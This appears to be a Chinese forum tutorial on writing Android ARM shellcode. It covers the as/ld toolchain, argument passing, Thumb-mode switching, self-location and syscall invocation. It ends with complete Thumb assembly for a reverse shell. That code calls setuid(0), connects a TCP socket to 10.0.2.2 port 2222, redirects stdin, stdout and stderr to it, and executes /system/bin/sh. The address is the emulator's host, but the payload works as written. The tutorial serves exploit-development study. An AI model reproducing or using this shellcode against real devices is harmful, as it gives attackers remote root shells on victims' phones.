科普稿一篇,高手请自动路过
随着Android手机的普及,Android系统安全日益受人关注。漏洞攻防是安全的一大课题,其中自然少不了shellcode的编写。本文将以提出问题、解决问题的方式教你如何编写Android系统shellcode。由于篇幅限制,本文将不对ARM指令集进行介绍,建议没有基础的读者先参考相关手册。
1.基础部分
使用什么工具?
GNU ARM汇编器as和GNU ARM连接器ld是编写Android系统shellcode必不可少的两个工具。Android NDK提供了Cygwin、Mac和Linux版本的as和ld,为了方便在Windows环境下开发,笔者在附件中提供了Windows版本的as和ld。
as和ld的使用方法很简单,假设sc.s是我们编写好的shellcode源文件,先使用as sc.s -o sc.o命令将sc.s汇编成目标文件sc.o,再使用ld sc.o -o sc将sc.o连接成可执行文件sc。文中用到的为数不多的as汇编伪指令将在相关注释中说明,具体请参考“Using as”手册。
除了as和ld,我们还要用IDA作为反汇编器,IDA的使用想必不用多做介绍。用IDA记录下sc中shellcode的头部和尾部,就可以用十六进制编辑器从sc中提取shellcode了。
函数参数如何传递?
函数参数从左到右依次存入R0~R3,如果参数个数大于4个,则剩余参数从右到左依次入栈,返回值存入R0。
如何给shellcode瘦身?
ARM处理器支持两种指令集:ARM指令集和Thumb指令集。ARM指令集指令长度为32位,Thumb指令集指令长度为16位。Thumb指令集的限制更多,比如立即数大小只能在0到0xFF范围内。
为了给shellcode瘦身,我们更倾向于使用Thumb指令集编写shellcode。ARM处理器总是从ARM指令集开始执行,所以我们的shellcode头部是一段ARM指令集程序,负责切换到Thumb指令集。
如何自定位?
自定位是编写shellcode的关键技术之一,也就是所谓GetPC。在x86环境下,通常有CALL GetPC、FSTENV GetPC、SEH GetPC三种方式。而在ARM环境下,事情就变得简单很多,因为指令指针PC可以直接访问。
ARM汇编还提供了ADR伪指令,汇编器会将其转换为相对PC寻址的指令,所以我们不用担心自定位问题。值得注意的是,LDR指令通过绝对地址寻址,当基地址改变时根据重定位段信息进行重定位。用LDR指令寻址一个符号在shellcode编写中是错误的,这点和x86类似。
如何定位函数?
定位函数是编写shellcode的关键技术之二。在Windows环境下,通常通过PEB定位kernel32基地址,然后遍历kernel32输出表定位API。在Linux环境下,直接系统调用。
Android系统调用由gensyscalls.py自动生成,以execve.S为例,代码如下:
/* autogenerated by gensyscalls.py */
#include <sys/linux-syscalls.h>
.text @表示代码段
.type execve, #function @定义符号类型
.globl execve @导出符号到连接器
.align 4 @对齐到4字节边界
.fnstart
execve:
.save {r4, r7}
stmfd sp!, {r4, r7} @保存r4和r7
ldr r7, =__NR_execve @r7存放系统调用号
swi #0 @通过调用软中断,切换到特权模式,执行系统调用
ldmfd sp!, {r4, r7} @恢复r4和r7
movs r0, r0 @设置标志位
bxpl lr @非负则返回
b __set_syscall_errno @否则跳转到__set_syscall_errno
.fnend
int __set_syscall_errno(int n)
{
/* some syscalls, mmap() for example, have valid return
** values that are "negative". Since errno values are not
** greater than 131 on Linux, we will just consider
** anything significantly out of range as not-an-error
*/
if(n > -256) {
return __set_errno(-n); //设置errno为-n,并返回-1
} else {
return n; //返回值不变
}
}
.globl _start
.align 2
_start: @默认入口点
.code 32 @使用ARM指令集
adr r0, thumb + 1 @最低位置1表示切换到Thumb指令集
bx r0
thumb:
.code 16 @使用Thumb指令集
mov r0, #0
mov r7, #213
swi #0 @setuid32(0)
mov r0, #2 @AF_INET
mov r1, #1 @SOCK_STREAM
mov r2, #6 @IPPROTO_TCP
mov r7, #250
add r7, #31
swi #0 @int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
mov r4, r0
adr r1, addr
mov r2, #16
mov r7, #250
add r7, #33
swi #0 @connect(sock, addr, 16)
mov r0, r4
mov r1, #0 @STDIN_FILENO
mov r7, #63
swi #0 @dup2(sock, STDIN_FILENO)
mov r0, r4
mov r1, #1 @STDOUT_FILENO
mov r7, #63
swi #0 @dup2(sock, STDOUT_FILENO)
mov r0, r4
mov r1, #2 @STDERR_FILENO
mov r7, #63
swi #0 @dup2(sock, STDERR_FILENO)
adr r0, systembinsh
mov r1, #0
push {r1}
push {r0} @argv[0]
mov r1, sp @argv
mov r2, #0
mov r7, #11
swi #0 @execve(filename, argv, NULL)
mov r0, #0
mov r7, #1
swi #0 @exit(0)
addr:
.short 2 @定义16比特数AF_INET
.ascii "\x08\xAE" @定义2字节port=2222
.byte 10, 0, 2, 2 @定义4字节ip=10.0.2.2(模拟器中的本机地址)
systembinsh:
.asciz "/system/bin/sh" @定义字符串filename
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
上传的附件: